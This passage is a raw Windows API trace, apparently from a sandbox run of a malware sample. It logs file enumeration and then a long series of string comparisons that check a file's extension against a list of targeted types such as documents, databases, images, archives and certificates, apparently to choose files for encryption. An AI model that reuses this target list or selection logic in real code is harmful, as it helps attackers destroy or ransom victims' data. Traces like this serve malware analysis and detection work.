| out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.854] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0037.097] lstrlenW (lpString="DD01630_.WMF") returned 12 [0037.097] lstrlenW (lpString=".1cd") returned 4 [0037.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0037.097] lstrlenW (lpString=".3ds") returned 4 [0037.097] lstrcmpiW (lpString1=".3ds", lpString2=".WMF") returned -1 [0037.097] lstrlenW (lpString=".3fr") returned 4 [0037.097] lstrcmpiW (lpString1=".3fr", lpString2=".WMF") returned -1 [0037.097] lstrlenW (lpString=".3g2") returned 4 [0037.097] lstrcmpiW (lpString1=".3g2", lpString2=".WMF") returned -1 [0037.097] lstrlenW (lpString=".3gp") returned 4 [0037.097] lstrcmpiW (lpString1=".3gp", lpString2=".WMF") returned -1 [0037.097] lstrlenW (lpString=".7z") returned 3 [0037.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0037.097] lstrlenW (lpString=".accda") returned 6 [0037.097] lstrcmpiW (lpString1=".accda", lpString2="0_.WMF") returned -1 [0037.097] lstrlenW (lpString=".accdb") returned 6 [0037.097] lstrcmpiW (lpString1=".accdb", lpString2="0_.WMF") returned -1 [0037.097] lstrlenW (lpString=".accdc") returned 6 [0037.097] lstrcmpiW (lpString1=".accdc", lpString2="0_.WMF") returned -1 [0037.097] lstrlenW (lpString=".accde") returned 6 [0037.097] lstrcmpiW (lpString1=".accde", lpString2="0_.WMF") returned -1 [0037.098] lstrlenW (lpString=".accdt") returned 6 [0037.098] lstrcmpiW (lpString1=".accdt", lpString2="0_.WMF") returned -1 [0037.098] lstrlenW (lpString=".accdw") returned 6 [0037.098] lstrcmpiW (lpString1=".accdw", lpString2="0_.WMF") returned -1 [0037.098] lstrlenW (lpString=".adb") returned 4 [0037.098] lstrcmpiW (lpString1=".adb", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".adp") returned 4 [0037.098] lstrcmpiW (lpString1=".adp", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai") returned 3 [0037.098] lstrcmpiW (lpString1=".ai", lpString2="WMF") returned -1 [0037.098] lstrlenW (lpString=".ai3") returned 4 [0037.098] lstrcmpiW (lpString1=".ai3", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai4") returned 4 [0037.098] lstrcmpiW (lpString1=".ai4", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai5") returned 4 [0037.098] lstrcmpiW (lpString1=".ai5", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai6") returned 4 [0037.098] lstrcmpiW (lpString1=".ai6", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai7") returned 4 [0037.098] lstrcmpiW (lpString1=".ai7", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ai8") returned 4 [0037.098] lstrcmpiW (lpString1=".ai8", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".anim") returned 5 [0037.098] lstrcmpiW (lpString1=".anim", lpString2="_.WMF") returned -1 [0037.098] lstrlenW (lpString=".arw") returned 4 [0037.098] lstrcmpiW (lpString1=".arw", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".as") returned 3 [0037.098] lstrcmpiW (lpString1=".as", lpString2="WMF") returned -1 [0037.098] lstrlenW (lpString=".asa") returned 4 [0037.098] lstrcmpiW (lpString1=".asa", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".asc") returned 4 [0037.098] lstrcmpiW (lpString1=".asc", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".ascx") returned 5 [0037.098] lstrcmpiW (lpString1=".ascx", lpString2="_.WMF") returned -1 [0037.098] lstrlenW (lpString=".asm") returned 4 [0037.098] lstrcmpiW (lpString1=".asm", lpString2=".WMF") returned -1 [0037.098] lstrlenW (lpString=".asmx") returned 5 [0037.098] lstrcmpiW (lpString1=".asmx", lpString2="_.WMF") returned -1 [0037.099] lstrlenW (lpString=".asp") returned 4 [0037.099] lstrcmpiW (lpString1=".asp", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".aspx") returned 5 [0037.099] lstrcmpiW (lpString1=".aspx", lpString2="_.WMF") returned -1 [0037.099] lstrlenW (lpString=".asr") returned 4 [0037.099] lstrcmpiW (lpString1=".asr", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".asx") returned 4 [0037.099] lstrcmpiW (lpString1=".asx", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".avi") returned 4 [0037.099] lstrcmpiW (lpString1=".avi", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".avs") returned 4 [0037.099] lstrcmpiW (lpString1=".avs", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".backup") returned 7 [0037.099] lstrcmpiW (lpString1=".backup", lpString2="30_.WMF") returned -1 [0037.099] lstrlenW (lpString=".bak") returned 4 [0037.099] lstrcmpiW (lpString1=".bak", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".bay") returned 4 [0037.099] lstrcmpiW (lpString1=".bay", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".bd") returned 3 [0037.099] lstrcmpiW (lpString1=".bd", lpString2="WMF") returned -1 [0037.099] lstrlenW (lpString=".bin") returned 4 [0037.099] lstrcmpiW (lpString1=".bin", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".bmp") returned 4 [0037.099] lstrcmpiW (lpString1=".bmp", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".bz2") returned 4 [0037.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".c") returned 2 [0037.099] lstrcmpiW (lpString1=".c", lpString2="MF") returned -1 [0037.099] lstrlenW (lpString=".cdr") returned 4 [0037.099] lstrcmpiW (lpString1=".cdr", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".cer") returned 4 [0037.099] lstrcmpiW (lpString1=".cer", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".cf") returned 3 [0037.099] lstrcmpiW (lpString1=".cf", lpString2="WMF") returned -1 [0037.099] lstrlenW (lpString=".cfc") returned 4 [0037.099] lstrcmpiW (lpString1=".cfc", lpString2=".WMF") returned -1 [0037.099] lstrlenW (lpString=".cfm") returned 4 [0037.099] lstrcmpiW (lpString1=".cfm", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".cfml") returned 5 [0037.100] lstrcmpiW (lpString1=".cfml", lpString2="_.WMF") returned -1 [0037.100] lstrlenW (lpString=".cfu") returned 4 [0037.100] lstrcmpiW (lpString1=".cfu", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".chm") returned 4 [0037.100] lstrcmpiW (lpString1=".chm", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".cin") returned 4 [0037.100] lstrcmpiW (lpString1=".cin", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".class") returned 6 [0037.100] lstrcmpiW (lpString1=".class", lpString2="0_.WMF") returned -1 [0037.100] lstrlenW (lpString=".clx") returned 4 [0037.100] lstrcmpiW (lpString1=".clx", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".config") returned 7 [0037.100] lstrcmpiW (lpString1=".config", lpString2="30_.WMF") returned -1 [0037.100] lstrlenW (lpString=".cpp") returned 4 [0037.100] lstrcmpiW (lpString1=".cpp", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".cr2") returned 4 [0037.100] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".crt") returned 4 [0037.100] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".crw") returned 4 [0037.100] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".cs") returned 3 [0037.100] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0037.100] lstrlenW (lpString=".css") returned 4 [0037.100] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".csv") returned 4 [0037.100] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".cub") returned 4 [0037.100] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".dae") returned 4 [0037.100] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0037.100] lstrlenW (lpString=".dat") returned 4 [0037.101] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".db") returned 3 [0037.101] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0037.101] lstrlenW (lpString=".dbf") returned 4 [0037.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dbx") returned 4 [0037.101] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dc3") returned 4 [0037.101] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dcm") returned 4 [0037.101] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dcr") returned 4 [0037.101] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".der") returned 4 [0037.101] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dib") returned 4 [0037.101] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dic") returned 4 [0037.101] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dif") returned 4 [0037.101] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".divx") returned 5 [0037.101] lstrcmpiW (lpString1=".divx", lpString2="_.WMF") returned -1 [0037.101] lstrlenW (lpString=".djvu") returned 5 [0037.101] lstrcmpiW (lpString1=".djvu", lpString2="_.WMF") returned -1 [0037.101] lstrlenW (lpString=".dng") returned 4 [0037.101] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".doc") returned 4 [0037.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".docm") returned 5 [0037.101] lstrcmpiW (lpString1=".docm", lpString2="_.WMF") returned -1 [0037.101] lstrlenW (lpString=".docx") returned 5 [0037.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0037.101] lstrlenW (lpString=".dot") returned 4 [0037.101] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0037.101] lstrlenW (lpString=".dotm") returned 5 [0037.102] lstrcmpiW (lpString1=".dotm", lpString2="_.WMF") returned -1 [0037.102] lstrlenW (lpString=".dotx") returned 5 [0037.102] lstrcmpiW (lpString1=".dotx", lpString2="_.WMF") returned -1 [0037.102] lstrlenW (lpString=".dpx") returned 4 [0037.102] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dqy") returned 4 [0037.102] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dsn") returned 4 [0037.102] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dt") returned 3 [0037.102] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0037.102] lstrlenW (lpString=".dtd") returned 4 [0037.102] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dwg") returned 4 [0037.102] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dwt") returned 4 [0037.102] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".dx") returned 3 [0037.102] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0037.102] lstrlenW (lpString=".dxf") returned 4 [0037.102] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".edml") returned 5 [0037.102] lstrcmpiW (lpString1=".edml", lpString2="_.WMF") returned -1 [0037.102] lstrlenW (lpString=".efd") returned 4 [0037.102] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".elf") returned 4 [0037.102] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".emf") returned 4 [0037.102] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".emz") returned 4 [0037.102] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".epf") returned 4 [0037.102] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".eps") returned 4 [0037.102] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0037.102] lstrlenW (lpString=".epsf") returned 5 [0037.102] lstrcmpiW (lpString1=".epsf", lpString2="_.WMF") returned -1 [0037.102] lstrlenW (lpString=".epsp") returned 5 [0037.103] lstrcmpiW (lpString1=".epsp", lpString2="_.WMF") returned -1 [0037.103] lstrlenW (lpString=".erf") returned 4 [0037.103] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".exr") returned 4 [0037.103] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".f4v") returned 4 [0037.103] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".fido") returned 5 [0037.103] lstrcmpiW (lpString1=".fido", lpString2="_.WMF") returned -1 [0037.103] lstrlenW (lpString=".flm") returned 4 [0037.103] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".flv") returned 4 [0037.103] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".frm") returned 4 [0037.103] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".fxg") returned 4 [0037.103] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".geo") returned 4 [0037.103] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".gif") returned 4 [0037.103] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".grs") returned 4 [0037.103] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".gz") returned 3 [0037.103] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0037.103] lstrlenW (lpString=".h") returned 2 [0037.103] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0037.103] lstrlenW (lpString=".hdr") returned 4 [0037.103] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".hpp") returned 4 [0037.103] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".hta") returned 4 [0037.103] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".htc") returned 4 [0037.103] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".htm") returned 4 [0037.103] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0037.103] lstrlenW (lpString=".html") returned 5 [0037.104] lstrcmpiW (lpString1=".html", lpString2="_.WMF") returned -1 [0037.104] lstrlenW (lpString=".icb") returned 4 [0037.104] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".ics") returned 4 [0037.104] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".iff") returned 4 [0037.104] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".inc") returned 4 [0037.104] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".indd") returned 5 [0037.104] lstrcmpiW (lpString1=".indd", lpString2="_.WMF") returned -1 [0037.104] lstrlenW (lpString=".ini") returned 4 [0037.104] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".iqy") returned 4 [0037.104] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".j2c") returned 4 [0037.104] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".j2k") returned 4 [0037.104] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".java") returned 5 [0037.104] lstrcmpiW (lpString1=".java", lpString2="_.WMF") returned -1 [0037.104] lstrlenW (lpString=".jp2") returned 4 [0037.104] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".jpc") returned 4 [0037.104] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".jpe") returned 4 [0037.104] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".jpeg") returned 5 [0037.104] lstrcmpiW (lpString1=".jpeg", lpString2="_.WMF") returned -1 [0037.104] lstrlenW (lpString=".jpf") returned 4 [0037.104] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".jpg") returned 4 [0037.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0037.104] lstrlenW (lpString=".jpx") returned 4 [0037.105] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".js") returned 3 [0037.105] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0037.105] lstrlenW (lpString=".jsf") returned 4 [0037.105] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".json") returned 5 [0037.105] lstrcmpiW (lpString1=".json", lpString2="_.WMF") returned -1 [0037.105] lstrlenW (lpString=".jsp") returned 4 [0037.105] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".kdc") returned 4 [0037.105] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".kmz") returned 4 [0037.105] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".kwm") returned 4 [0037.105] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".lasso") returned 6 [0037.105] lstrcmpiW (lpString1=".lasso", lpString2="0_.WMF") returned -1 [0037.105] lstrlenW (lpString=".lbi") returned 4 [0037.105] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".lgf") returned 4 [0037.105] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".lgp") returned 4 [0037.105] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".log") returned 4 [0037.105] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".m1v") returned 4 [0037.105] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".m4a") returned 4 [0037.105] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".m4v") returned 4 [0037.105] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".max") returned 4 [0037.105] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0037.105] lstrlenW (lpString=".md") returned 3 [0037.106] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0037.106] lstrlenW (lpString=".mda") returned 4 [0037.106] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mdb") returned 4 [0037.106] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mde") returned 4 [0037.106] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mdf") returned 4 [0037.106] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mdw") returned 4 [0037.106] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mef") returned 4 [0037.106] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mft") returned 4 [0037.106] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mfw") returned 4 [0037.106] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mht") returned 4 [0037.106] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mhtml") returned 6 [0037.106] lstrcmpiW (lpString1=".mhtml", lpString2="0_.WMF") returned -1 [0037.106] lstrlenW (lpString=".mka") returned 4 [0037.106] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mkidx") returned 6 [0037.106] lstrcmpiW (lpString1=".mkidx", lpString2="0_.WMF") returned -1 [0037.106] lstrlenW (lpString=".mkv") returned 4 [0037.106] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mos") returned 4 [0037.106] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mov") returned 4 [0037.106] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mp3") returned 4 [0037.106] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mp4") returned 4 [0037.106] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0037.106] lstrlenW (lpString=".mpeg") returned 5 [0037.107] lstrcmpiW (lpString1=".mpeg", lpString2="_.WMF") returned -1 [0037.107] lstrlenW (lpString=".mpg") returned 4 [0037.107] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".mpv") returned 4 [0037.107] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".mrw") returned 4 [0037.107] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".msg") returned 4 [0037.107] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".mxl") returned 4 [0037.107] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".myd") returned 4 [0037.107] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".myi") returned 4 [0037.107] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".nef") returned 4 [0037.107] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".nrw") returned 4 [0037.107] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".obj") returned 4 [0037.107] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".odb") returned 4 [0037.107] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".odc") returned 4 [0037.107] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".odm") returned 4 [0037.107] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".odp") returned 4 [0037.107] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".ods") returned 4 [0037.107] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".oft") returned 4 [0037.107] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".one") returned 4 [0037.107] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0037.107] lstrlenW (lpString=".onepkg") returned 7 [0037.108] lstrcmpiW (lpString1=".onepkg", lpString2="30_.WMF") returned -1 [0037.108] lstrlenW (lpString=".onetoc2") returned 8 [0037.108] lstrcmpiW (lpString1=".onetoc2", lpString2="630_.WMF") returned -1 [0037.108] lstrlenW (lpString=".opt") returned 4 [0037.108] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".oqy") returned 4 [0037.108] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".orf") returned 4 [0037.108] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".p12") returned 4 [0037.108] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".p7b") returned 4 [0037.108] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".p7c") returned 4 [0037.108] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pam") returned 4 [0037.108] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pbm") returned 4 [0037.108] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pct") returned 4 [0037.108] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pcx") returned 4 [0037.108] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pdd") returned 4 [0037.108] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pdf") returned 4 [0037.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pdp") returned 4 [0037.108] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pef") returned 4 [0037.108] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pem") returned 4 [0037.108] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0037.108] lstrlenW (lpString=".pff") returned 4 [0037.109] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pfm") returned 4 [0037.109] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pfx") returned 4 [0037.109] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".pgm") returned 4 [0037.109] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".php") returned 4 [0037.109] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0037.109] lstrlenW (lpString=".php3") returned 5 [0037.109] lstrcmpiW (lpString1=".php3", lpString2="_.WMF") returned -1 [0037.109] lstrlenW (lpString=".php4") returned 5 [0037.109] lstrcmpiW (lpString1=".php4", lpString2="_.WMF") returned -1 [0037.109] lstrlenW (lpString=".php5") returned 5 [0037.109] lstrcmpiW (lpString1=".php5", lpString2="_.WMF") returned -1 [0037.109] lstrlenW (lpString=".phtml") returned 6 [0037.109] lstrcmpiW (lpString1=".phtml", lpString2="0_.WMF") returned -1 [0037.109] lstrlenW (lpString=".pict") returned 5 [0037.109] lstrcmpiW (lpString1=".pict", lpString2="_.WMF") returned -1 [0037.109] lstrlenW (lpString=".pl") returned 3 [0037.109] lstrcmpiW (lpString1=".pl", 